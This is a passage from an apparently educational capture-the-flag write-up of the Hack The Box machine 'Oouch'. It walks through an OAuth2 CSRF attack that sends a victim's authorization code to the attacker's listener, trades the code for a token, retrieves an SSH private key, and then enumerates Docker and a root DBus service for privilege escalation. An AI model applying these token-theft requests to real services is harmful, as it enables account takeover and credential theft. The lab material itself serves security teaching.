0<strong>Vary<\/strong>: <strong>Authorization<\/strong>, <strong>Cookie<\/strong><\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now we should be able to perform our next&nbsp;<em>CSRF&nbsp;<\/em>attack on&nbsp;<em>qtc<\/em>. To do so, we just copy the request parameters of the above mentioned&nbsp;<em>HTTP&nbsp;<\/em>request and replace all consumer application related parameters like&nbsp;<strong>CLIENT_ID<\/strong>&nbsp;or&nbsp;<strong>REDIRECT_URI<\/strong>, with the values for our consumer application. In my case, the corresponding&nbsp;<em>URL&nbsp;<\/em>looks like this:http:\/\/authorization.oouch.htb:8000\/oauth\/authorize\/?redirect_uri=http:\/\/10.10.14.37:8000\/token&amp;scope=read&amp;client_id=<strong>E6MXOXT9fxMewdL0Z26SEiaI2weJT738gFkRpWPF<\/strong>&amp;state=&amp;response_type=code&amp;allow=<strong>Authorize<\/strong><\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If this&nbsp;<em>URL&nbsp;<\/em>is clicked by someone how is authenticated to the authorization server, he should obtain a redirect to our&nbsp;<em>HTTP&nbsp;<\/em>listener (including an authorization token for his account). So lets try to trick the system administrator again!<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15215} -->\n<figure class=\"wp-block-image\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/25-csrf-1024x466.png\" alt=\"\" class=\"wp-image-15215\"\/><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>[pentester@kali www]$ python3 -m http.server<strong>Serving<\/strong> HTTP <strong>on<\/strong> 0.0.0.0 port 8000 (http:\/\/0.0.0.0:8000\/) ...10.10.10.177 - - [30\/Jun\/2020 07:54:12] code 404, message File not found10.10.10.177 - - [30\/Jun\/2020 07:54:12] \"GET \/token?code=TKRbyZ2K2X3mJ1jbLP93OcCF3YbHWv HTTP\/1.1\" 404 -<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We just obtained an&nbsp;<em>authorization_code&nbsp;<\/em>for&nbsp;<em>qtc<\/em>!<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"getting-ssh-access\">3.6 \u2013 Getting SSH Access<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Our last&nbsp;<em>CSRF&nbsp;<\/em>attack gave us an&nbsp;<em>authorization_code<\/em>&nbsp;for the system administrators account on the authorization server. If you remember the&nbsp;<em>OAuth2&nbsp;<\/em>discussion at the beginning of this writeup, you know that this&nbsp;<em>authorization_code<\/em>&nbsp;gives us access to the profile data of the system administrators account on the authorization server. However, in order to request this profile data, we need to exchange the&nbsp;<em>authorization_code&nbsp;<\/em>for an&nbsp;<em>access_token&nbsp;<\/em>first.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Obtaining&nbsp;<em>access_tokens<\/em>&nbsp;is normally done by the consumer application backend and we can not assume to find a valid request inside of our Burpstate. However, since we know that the authorization server was build using&nbsp;<em>Django\u2019s OAuth Toolkit<\/em>, we can simply check for the correct request format to obtain such a token. After a little bit of research, you should find that the following format works:<strong>POST<\/strong> \/oauth\/token\/ <strong>HTTP<\/strong>\/1.1<strong>Host<\/strong>: authorization.oouch.htb:8000<strong>User<\/strong>-<strong>Agent<\/strong>: python-requests\/2.20.1<strong>Accept<\/strong>-<strong>Encoding<\/strong>: gzip, deflate<strong>Accept<\/strong>: *\/*<strong>Connection<\/strong>: keep-alive<strong>Content<\/strong>-<strong>Length<\/strong>: 302<strong>Content<\/strong>-<strong>Type<\/strong>: application\/x-www-form-urlencodedclient_id=<strong>E6MXOXT9fxMewdL0Z26SEiaI2weJT738gFkRpWPF<\/strong>&amp;client_secret=<strong>A4jdl7bAVmqOWGt7wLv9wRYzWp0n3V3HBaXxrdj8kg4K8ioxU1Kz2XNm7aUiUpJR7SnSlZe9F9Gb3ut5kEL3VdW4I40lq7LwkcQvvf15ZQf9SyCYdNC6ZXNI3p3Sse6p<\/strong>&amp;grant_type=authorization_code&amp;code=<strong>TKRbyZ2K2X3mJ1jbLP93OcCF3YbHWv<\/strong>&amp;redirect_uri=http:\/\/10.10.14.37:8000\/token<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The servers response contains the&nbsp;<em>access_token<\/em>:<strong>HTTP<\/strong>\/1.1 200 <strong>OK<\/strong><strong>Content<\/strong>-<strong>Type<\/strong>: application\/json<strong>Cache<\/strong>-<strong>Control<\/strong>: no-store<strong>Pragma<\/strong>: no-cache<strong>X<\/strong>-<strong>Frame<\/strong>-<strong>Options<\/strong>: <strong>SAMEORIGIN<\/strong><strong>Content<\/strong>-<strong>Length<\/strong>: 161<strong>Vary<\/strong>: <strong>Authorization<\/strong>{\"access_token\": \"xnhbRHrE8kFGG0AaoAMGRagliG9Vbi\", \"expires_in\": 600, \"token_type\": \"Bearer\", \"scope\": \"read\", \"refresh_token\": \"HgjsEclIDVrhVCjuWjgIYHplswslJr\"}<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Notice that the&nbsp;<em>authorization_code<\/em>&nbsp;needs to be relatively fresh, since older codes are rejected by the server. From&nbsp;<em>Djangos OAuth2 Toolkit<\/em>&nbsp;documentation, we can also read that the&nbsp;<em>access_token<\/em>&nbsp;needs to be used inside a&nbsp;<code>Authorization: Bearer<\/code>&nbsp;header, in order to query data from the resource server. Unfortunately we do not know where the resource server is located, but as said before, most of the times it is the same server as the authorization server.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>From our previous enumerated information we know, that one valid&nbsp;<em>API&nbsp;<\/em>endpoint on the resource server is&nbsp;<code>\/api\/get_user<\/code>. So lets set the Authorization header and give this endpoint a try:<strong>GET<\/strong> \/api\/get_user <strong>HTTP<\/strong>\/1.1<strong>Host<\/strong>: authorization.oouch.htb:8000<strong>Accept<\/strong>-<strong>Encoding<\/strong>: gzip, deflate<strong>Accept<\/strong>: *\/*<strong>Connection<\/strong>: keep-alive<strong>Content<\/strong>-<strong>Length<\/strong>: 2<strong>Content<\/strong>-<strong>Type<\/strong>: application\/x-www-form-urlencoded<strong>Authorization<\/strong>: <strong>Bearer<\/strong> xnhbRHrE8kFGG0AaoAMGRagliG9Vbi<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The servers response contains the profile information for&nbsp;<em>qtc<\/em>:<strong>HTTP<\/strong>\/1.1 200 <strong>OK<\/strong><strong>Content<\/strong>-<strong>Type<\/strong>: text\/html; charset=utf-8<strong>X<\/strong>-<strong>Frame<\/strong>-<strong>Options<\/strong>: <strong>SAMEORIGIN<\/strong><strong>Content<\/strong>-<strong>Length<\/strong>: 87<strong>Vary<\/strong>: <strong>Authorization<\/strong>{\"username\": \"qtc\", \"firstname\": \"\", \"lastname\": \"\", \"email\": \"qtc@nonexistend.nonono\"}<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We can now query profile data of&nbsp;<em>qtc<\/em>! However, the&nbsp;<em>SSH&nbsp;<\/em>key seems not to be here yet. Maybe there are other&nbsp;<em>API&nbsp;<\/em>endpoints to query this information. If&nbsp;<code>get_user<\/code>&nbsp;is used for general profile data, which name could be used to access&nbsp;<em>SSH&nbsp;<\/em>data?<strong>GET<\/strong> \/api\/get_ssh <strong>HTTP<\/strong>\/1.1<strong>Host<\/strong>: authorization.oouch.htb:8000<strong>Accept<\/strong>-<strong>Encoding<\/strong>: gzip, deflate<strong>Accept<\/strong>: *\/*<strong>Connection<\/strong>: keep-alive<strong>Content<\/strong>-<strong>Length<\/strong>: 2<strong>Content<\/strong>-<strong>Type<\/strong>: application\/x-www-form-urlencoded<strong>Authorization<\/strong>: <strong>Bearer<\/strong> xnhbRHrE8kFGG0AaoAMGRagliG9Vbi<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Indeed, the server response contains the ssh key:<strong>HTTP<\/strong>\/1.1 200 <strong>OK<\/strong><strong>Content<\/strong>-<strong>Type<\/strong>: text\/html; charset=utf-8<strong>X<\/strong>-<strong>Frame<\/strong>-<strong>Options<\/strong>: <strong>SAMEORIGIN<\/strong><strong>Content<\/strong>-<strong>Length<\/strong>: 2708<strong>Vary<\/strong>: <strong>Authorization<\/strong>{\"ssh_server\": \"consumer.oouch.htb\", \"ssh_user\": \"qtc\", \"ssh_key\": \"-----BEGIN OPENSSH PRIVATE KEY-----nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcnnNhAAAAAwEAAQAAAYEAqQvHuKA1i28D1ldvVbFB8[...]-----<strong>END<\/strong><strong>OPENSSH<\/strong><strong>PRIVATE<\/strong><strong>KEY<\/strong>-----\"}<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>With the&nbsp;<em>SSH&nbsp;<\/em>key we get finally access as&nbsp;<em>qtc&nbsp;<\/em>to the&nbsp;<em>Oouch&nbsp;<\/em>machine.[pentester@kali ~]$ ssh -i key qtc@10.10.10.177<strong>Linux<\/strong> oouch 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26) x86_64<strong>The<\/strong> programs included with the Debian GNU\/Linux system are free software;the exact distribution terms for each program are described in theindividual files in \/usr\/share\/doc\/*\/copyright.<strong>Debian<\/strong> GNU\/Linux comes with ABSOLUTELY NO WARRANTY, to the extentpermitted by applicable law.<strong>Last<\/strong> login: Tue Jun 30 08:15:31 2020 from 10.10.14.37qtc@oouch:~$ cat <strong>user<\/strong>.txt | wc -c33<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 id=\"next-stop-root\">4.0 \u2013 Next Stop Root<\/h2>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The identified vulnerabilities inside the&nbsp;<em>OAuth2&nbsp;<\/em>implementation of&nbsp;<em>Oouch<\/em>&nbsp;allowed us to access the server. So far we are the unprivileged user&nbsp;<em>qtc&nbsp;<\/em>and our next goal is to take over the root account. At this point, we are leaving the&nbsp;<em>OAuth2&nbsp;<\/em>theme of the machine and focus on a different technology for the privilege escalation.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"containers\">4.1 \u2013 Finding the Containers<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>When starting with Linux privilege escalation, it is always recommended to run a dedicated enumeration script. Discussing the total output of such a script would be an overkill for this writeup, so let us focus on the interesting parts.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The first thing that strikes the eye are the available network interfaces on the machine:qtc@oouch:~$ ip a1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue [...] inet 127.0.0.1\/8 scope host lo [...]2: ens34: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc [...] inet 10.10.10.177\/24 brd 10.10.10.255 scope global ens34 [...]3: docker0: &lt;NO-CARRIER,BROADCAST,MULTICAST,UP&gt; mtu 1500 qdisc [...] inet 172.17.0.1\/16 brd 172.17.255.255 scope global docker0 [...]4: br-cc6c78e0c7d0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 [...] inet 172.18.0.1\/16 brd 172.18.255.255 scope global br-cc6c78e0c7d0 [...]6: veth4aaa830@if5: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 [...] [...]8: veth7c79a1a@if7: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 [...] [...]10: veth9d766ec@if9: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 [...] [...]12: vethcbf5974@if11: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 [...]<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Especially the&nbsp;<em>bridge&nbsp;<\/em>and&nbsp;<em>veth&nbsp;<\/em>interfaces give us a clear indication that this host is running the services inside of docker containers.&nbsp;<em>Docker&nbsp;<\/em>creates for each network a bridge adapter and for each container a pair of&nbsp;<em>veth&nbsp;<\/em>interfaces. One&nbsp;<em>veth&nbsp;<\/em>interface of each pair is then put in a separate network namespace, where the container lives in. This interface can no longer be seen in the default namespace (the namespace we are currently in), but is only visible inside the container. The other pair becomes plugged into the bridge. This way, all containers can communicate with each other, but are clearly separated inside their own network namespace. The following graphic provides a simple illustration:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15231} -->\n<figure class=\"wp-block-image\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/26-docker-ns.png\" alt=\"\" class=\"wp-image-15231\"\/><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>There are of course other indicators that tell us that the host is running his services inside of docker containers. E.g. you can also look at the running processes, and find that there are multiple container related tasks running. One example are the proxies, that map the container ports to the local host system:[...]root 846 0.0 0.4 401232 9660 ? Sl 09:48 0:00 \/usr\/bin\/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 5000 -container-ip 172.18.0.4 -container-port 5000root 873 0.0 0.3 401232 7504 ? Sl 09:48 0:00 \/usr\/bin\/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 8000 -container-ip 172.18.0.5 -container-port 8000[...]<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Finally,&nbsp;<em>LineEnum&nbsp;<\/em>does explicitly tell you that the host is running docker and also provides you the corresponding version information:[+] Looks like we're hosting Docker:<strong>Docker<\/strong> version 19.03.1, build 74b1e89<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Okay, so now we know that docker is running on our server. We can also already say, that the number of containers is probably four, since we observed four veth interfaces. Then thinking about the application structure, this suggests the following container logic:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15236} -->\n<figure class=\"wp-block-image\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/27-docker-setup-1.png\" alt=\"\" class=\"wp-image-15236\"\/><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>When looking on the other running processes, we can now guess that some of them are not running on the actual host, but in dedicated application containers.[...]<strong>Database<\/strong> Containers:systemd+ 680 0.1 4.8 1462252 98816 ? Ssl 09:48 0:00 mysqldsystemd+ 686 0.2 5.0 1462252 103732 ? Ssl 09:48 0:00 mysqld<strong>Application<\/strong> Containers:www-data 928 0.0 0.4 14052 8948 ? Ss 09:48 0:00 \/venv\/bin\/uwsgi --<strong>show<\/strong>-configwww-data 1131 0.2 1.9 348444 40036 ? Sl 09:48 0:00 \/venv\/bin\/uwsgi --<strong>show<\/strong>-configwww-data 1132 0.2 1.9 348444 40052 ? Sl 09:48 0:00 \/venv\/bin\/uwsgi --<strong>show<\/strong>-configwww-data 1133 0.0 0.6 22248 12588 ? S 09:48 0:00 \/venv\/bin\/uwsgi --<strong>show<\/strong>-configwww-data 1145 0.3 2.3 58592 48444 ? S 09:48 0:00 uwsgi --ini uwsgi.ini --chmod-sock=666www-data 1146 0.0 0.1 11264 3524 ? S 09:48 0:00 nginx: worker processwww-data 1148 0.0 1.8 58592 38600 ? S 09:48 0:00 uwsgi --ini uwsgi.ini --chmod-sock=666www-data 1149 0.0 1.8 58592 38600 ? S 09:48 0:00 uwsgi --ini uwsgi.ini --chmod-sock=666[...]<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"roadmap\">4.2 \u2013 Checking the Roadmap<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Knowing the container structure of the system is of course nice, but does not give us a huge edge when looking for privilege escalation vectors. So lets see what else we got. Remember the&nbsp;<em>FTP&nbsp;<\/em>banner? It said that his server is&nbsp;<em>qtc\u2019s&nbsp;<\/em>development server. So the home directory of&nbsp;<em>qtc&nbsp;<\/em>is definitely worth looking. We can run the&nbsp;<code>ls -lRa<\/code>&nbsp;command to enumerate all available files in&nbsp;<em>qtc\u2019s<\/em>&nbsp;home directory:qtc@oouch:~$ ls -lRa.:total 36drwxr-xr-x 4 qtc qtc 4096 Sep 3 14:59 .drwxr-xr-x 3 root root 4096 Aug 28 18:14 ..lrwxrwxrwx 1 root root 9 Sep 3 14:19 .bash_history -&gt; \/dev\/null-rw-r--r-- 1 qtc qtc 220 Aug 28 18:14 .bash_logout-rw-r--r-- 1 qtc qtc 3526 Aug 28 18:14 .bashrcdrwx------ 3 qtc qtc 4096 Sep 3 14:59 .gnupg-rw-r--r-- 1 root root 55 Sep 3 14:21 .note.txt-rw-r--r-- 1 qtc qtc 807 Aug 28 18:14 .profiledrwx------ 2 qtc qtc 4096 Sep 3 15:00 .ssh-rw-r--r-- 1 qtc qtc 33 Sep 3 14:21 <strong>user<\/strong>.txt.\/.gnupg:total 12drwx------ 3 qtc qtc 4096 Sep 3 14:59 .drwxr-xr-x 4 qtc qtc 4096 Sep 3 14:59 ..drwx------ 2 qtc qtc 4096 Sep 3 14:59 private-keys-v1.d.\/.gnupg\/private-keys-v1.d:total 8drwx------ 2 qtc qtc 4096 Sep 3 14:59 .drwx------ 3 qtc qtc 4096 Sep 3 14:59 ...\/.ssh:total 20drwx------ 2 qtc qtc 4096 Sep 3 15:00 .drwxr-xr-x 4 qtc qtc 4096 Sep 3 14:59 ..-rwx------ 1 qtc qtc 568 Sep 3 14:21 authorized_keys-r-------- 1 qtc qtc 2602 Sep 3 14:21 id_rsa-rw-r--r-- 1 qtc qtc 142 Sep 3 15:00 known_hosts<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The first thing we notice is that there is a private key file in the&nbsp;<em>.ssh<\/em>&nbsp;folder. Comparing this private key file to the private key that we obtained for from the authorization server, reveals that it is a different one. If we are unlucky, this private key file is just outdated or for a server that we do not have access to. But maybe we get lucky and the key can be used one of the containers. While testing the key on the different containers, one can notice that the container with IP&nbsp;<code>172.18.0.4<\/code>&nbsp;is indeed running a&nbsp;<em>SSH&nbsp;<\/em>server. From the process list we can see that this container belongs to port&nbsp;<code>5000<\/code>&nbsp;and is therefore the consumer application. Although the user&nbsp;<em>root&nbsp;<\/em>is not working, we find out that we get access as the user&nbsp;<em>qtc&nbsp;<\/em>on the container:qtc@oouch:~$ ssh -i .ssh\/id_rsa 172.18.0.4<strong>Linux<\/strong> 72ddb6be7ede 4.19.0-5-amd64 #1 SMP Debian 4.19.37-5+deb10u2 (2019-08-08) x86_64<strong>The<\/strong> programs included with the Debian GNU\/Linux system are free software;the exact distribution terms for each program are described in theindividual files in \/usr\/share\/doc\/*\/copyright.<strong>Debian<\/strong> GNU\/Linux comes with ABSOLUTELY NO WARRANTY, to the extentpermitted by applicable law.qtc@72ddb6be7ede:~$ iduid=1000(qtc) gid=1000(qtc) groups=1000(qtc)<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This seems not to be very helpful in the first place, since normally we want to escape from containers to get on the host system and not to break into containers to become even more isolated. So before enumerating the container, lets look further around on the host system and find out why container access could be interesting.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A second interesting file in the home folder of&nbsp;<em>qtc&nbsp;<\/em>is&nbsp;<code>.note.txt<\/code>:qtc@oouch:~$ cat .note.txt <strong>Implementing<\/strong> an IPS using DBus and iptables == Genius?<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It says something about implementing an&nbsp;<em>IPS&nbsp;<\/em>(<em>Intrusion Prevention System<\/em>) using&nbsp;<em>DBus&nbsp;<\/em>and&nbsp;<em>iptables<\/em>. While everyone is probably familiar with&nbsp;<em>iptables<\/em>,&nbsp;<em>DBus&nbsp;<\/em>is a more complicated technology that most users do not use actively (although, behind the scenes, it is heavily used on any major Linux distro). The main idea behind&nbsp;<em>DBus&nbsp;<\/em>is to allow applications to communicate with each other. For example, if you connect to a&nbsp;<em>VPN<\/em>, the remote&nbsp;<em>VPN&nbsp;<\/em>server may informs your&nbsp;<em>VPN&nbsp;<\/em>client about available&nbsp;<em>DNS&nbsp;<\/em>servers inside the&nbsp;<em>VPN<\/em>. However, since your&nbsp;<em>VPN&nbsp;<\/em>client may not be responsible for&nbsp;<em>DNS&nbsp;<\/em>resolution, it needs to inform your resolver about the new available&nbsp;<em>DNS&nbsp;<\/em>servers. Such inter process communication is usually implemented using&nbsp;<em>DBus<\/em>. In the above example, your&nbsp;<em>DNS&nbsp;<\/em>resolver would connect to the bus and subscribe for a certain type of signal, that announces&nbsp;<em>DNS&nbsp;<\/em>servers. Your&nbsp;<em>VPN&nbsp;<\/em>client on the other hand, would connect to the bus and emit the corresponding signal. Each application that is interested in that information can now obtain it from the bus. Apart from sending messages in this broadcast manner,&nbsp;<em>DBus&nbsp;<\/em>also enables point to point communication between different application. It is just super useful and fun to learn!<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>From the file&nbsp;<code>.note.txt<\/code>&nbsp;we can now assume that&nbsp;<em>qtc&nbsp;<\/em>has implemented something using&nbsp;<em>DBus<\/em>. Apart from the note file, there are several other locations there we can confirm this assumption. One of them are again the running processes. Here we find a application called&nbsp;<code>dbus-server<\/code>&nbsp;that runs using the root account:root 352 0.0 0.0 4676 1100 ? Ss 09:48 0:00 \/root\/dbus-server<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When reading your first tutorials about&nbsp;<em>DBus<\/em>, you probably notice that most&nbsp;<em>DBus&nbsp;<\/em>services configure their access permissions in&nbsp;<em>XML&nbsp;<\/em>files that are placed inside the folder&nbsp;<code>\/etc\/dbus-1\/system.d<\/code>. If&nbsp;<em>qtc&nbsp;<\/em>has written his own&nbsp;<em>DBus&nbsp;<\/em>application, he probably also defined access permissions inside such a file. So lets look if we find something interesting there:qtc@oouch:\/etc\/dbus-1\/system.d$ ls -ltotal 20-rw-r--r-- 1 root root 1456 Jul 29 2018 bluetooth.conf-rw-r--r-- 1 root root 662 Mar 22 2016 com.ubuntu.SoftwareProperties.conf-rw-r--r-- 1 root root 441 Sep 3 14:21 htb.oouch.Block.conf-rw-r--r-- 1 root root 1331 Mar 2 2019 org.freedesktop.PackageKit.conf-rw-r--r-- 1 root root 1513 Jun 6 15:16 wpa_supplicant.confqtc@oouch:\/etc\/dbus-1\/system.d$ cat htb.oouch.Block.conf &lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt; &lt;!-- -*- XML -*- --&gt;&lt;!DOCTYPE busconfig PUBLIC \"-\/\/freedesktop\/\/DTD D-BUS Bus Configuration 1.0\/\/EN\" \"http:\/\/www.freedesktop.org\/standards\/dbus\/1.0\/busconfig.dtd\"&gt;&lt;busconfig&gt; &lt;policy <strong>user<\/strong>=\"root\"&gt; &lt;allow own=\"htb.oouch.Block\"\/&gt; &lt;\/policy&gt; &lt;policy <strong>user<\/strong>=\"www-data\"&gt; &lt;allow send_destination=\"htb.oouch.Block\"\/&gt; &lt;allow receive_sender=\"htb.oouch.Block\"\/&gt; &lt;\/policy&gt;&lt;\/busconfig&gt;<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The file&nbsp;<code>htb.oouch.Block.conf<\/code>&nbsp;is definitely no default configuration and has some interesting contents. We can see, that it configures access permissions for the&nbsp;<em>DBus&nbsp;<\/em>interface&nbsp;<code>htb.oouch.Block<\/code>&nbsp;and allows the user&nbsp;<em>root&nbsp;<\/em>to own the interface. Owner permissions basically describe who can register the interface on the&nbsp;<em>DBus&nbsp;<\/em>server. Access permissions by root tell us, that the service that spawns this interface has to be run by the&nbsp;<em>root&nbsp;<\/em>account. This matches our observation, as the&nbsp;<code>dbus-server<\/code>&nbsp;was started by&nbsp;<em>root<\/em>. Furthermore, access permissions for the user&nbsp;<em>www-data<\/em>&nbsp;are defined. The user&nbsp;<em>www-data<\/em>&nbsp;has basically permissions to use the interface in terms of sending and receiving messages.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So let me summarize: By now we know that the host runs a&nbsp;<em>DBus&nbsp;<\/em>application as the&nbsp;<em>root&nbsp;<\/em>user account and allows interaction by the user account&nbsp;<em>www-data<\/em>. This represents a communication from a low privileged user to a high privileged process and could open some space for privilege escalations. If the&nbsp;<em>DBus&nbsp;<\/em>application handles input of the user&nbsp;<em>www-data<\/em>&nbsp;in an insecure way, it may be possible to perform command injection attacks or to trigger buffer overflows. However, at the moment our user account is&nbsp;<em>qtc&nbsp;<\/em>and we have no option to engage the&nbsp;<em>DBus&nbsp;<\/em>interface.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"one-and-one\">4.3 \u2013 Putting One and One together<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Before we continue lets take a break form the low level technical details and think about the application logic. Is there a reason why there is a&nbsp;<em>DBus&nbsp;<\/em>server running as&nbsp;<em>root&nbsp;<\/em>and allowing the user&nbsp;<em>www-data<\/em>&nbsp;access to it? Well, if you remember our application enumeration, we noticed that the consumer application blocked our IP address once we entered malicious input into the contact form. If you enumerated carefully, you may even noticed, that this block affects all ports on the&nbsp;<em>Oouch&nbsp;<\/em>server. Together with the note inside of&nbsp;<em>qtc\u2019s&nbsp;<\/em>home folder, this gives us the following idea how this IP block is implemented:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15246} -->\n<figure class=\"wp-block-image\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/28-dbus.png\" alt=\"\" class=\"wp-image-15246\"\/><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>So the consumer application simply checks the input of the contact form for malicious input. If it identifies a hacking attempt, it sends a message to the&nbsp;<code>dbus-server<\/code>&nbsp;application, which is running as root. Inside this message, the IP address of the client should be contained and the&nbsp;<em>DBus&nbsp;<\/em>server application takes care of blocking this IP address. But how can we confirm these assumptions?<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, remember that we have access to the container of the consumer application. Somewhere on the container, the application code should be placed and since file permissions inside of containers are often rather relaxed, we may be able to read the application code using our user account&nbsp;<em>qtc<\/em>. Inside the file system root of the container, we find a directory with name&nbsp;<code>code<\/code>.qtc@72ddb6be7ede:~$ ls -l \/total 80drwxr-xr-x 1 root root 4096 Sep 3 12:24 bindrwxr-xr-x 2 root root 4096 May 13 20:25 bootdrwxr-xr-x 5 root root 4096 Sep 3 12:19 codedrwxr-xr-x 5 root root 340 Sep 4 07:48 devdrwxr-xr-x 1 root root 4096 Sep 4 07:48 etcdrwxr-xr-x 1 root root 4096 Sep 3 12:24 homedrwxr-xr-x 1 root root 4096 Sep 3 12:24 libdrwxr-xr-x 2 root root 4096 Aug 12 00:00 lib64drwxr-xr-x 2 root root 4096 Aug 12 00:00 mediadrwxr-xr-x 2 root root 4096 Aug 12 00:00 mntdrwxr-xr-x 2 root root 4096 Aug 12 00:00 optdr-xr-xr-x 113 root root 0 Sep 4 07:48 procdrwx------ 1 root root 4096 Sep 3 12:27 rootdrwxr-xr-x 1 root root 4096 Sep 4 09:13 rundrwxr-xr-x 1 root root 4096 Sep 3 12:24 sbindrwxr-xr-x 2 root root 4096 Aug 12 00:00 srvdr-xr-xr-x 13 root root 0 Sep 4 07:48 sysdrwxrwxrwt 1 root root 4096 Sep 4 07:48 tmpdrwxr-xr-x 1 root root 4096 Aug 12 00:00 usrdrwxr-xr-x 1 root root 4096 Sep 3 12:23 var<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The directory&nbsp;<code>code<\/code>&nbsp;looks like what we are searching for. Now we can take advantage of our knowledge that the consumer is a&nbsp;<em>Flask&nbsp;<\/em>application. The code snipped we are looking for should therefore be placed inside a file with name&nbsp;<code>routes.py<\/code>:qtc@72ddb6be7ede:~$ find \/ -name routes.py 2&gt;\/dev\/null\/code\/oouch\/routes.py<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Inside the file, we find the filtering code:[...]@app.route('\/contact', methods=['GET', 'POST'])@login_required<strong>def<\/strong> contact(): [...] # If the form was already submitted, we process the contents <strong>if<\/strong> form.validate_on_submit(): # First apply our primitive xss filter <strong>if<\/strong> primitive_xss.search(form.textfield.data): bus = dbus.SystemBus() block_object = bus.get_object('htb.oouch.Block', '\/htb\/oouch\/Block') block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block') client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr) response = block_iface.Block(client_ip) bus.close() <strong>return<\/strong> render_template('hacker.html', title='Hacker')[...]<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So we can see that our assumptions were basically correct. The application applies a&nbsp;<em>primitive_xss<\/em>&nbsp;filter onto the input and blocks the IP address of the client if some malicious input was identified. The IP address is obtained from the environment variable&nbsp;<code>REMOTE_ADDR<\/code>.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"attack-vector\">4.4 \u2013 Finding an Attack Vector<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Lets create a short summary of the new behavior that we have discovered in the last section:<\/p>\n<!-- \/wp:paragraph 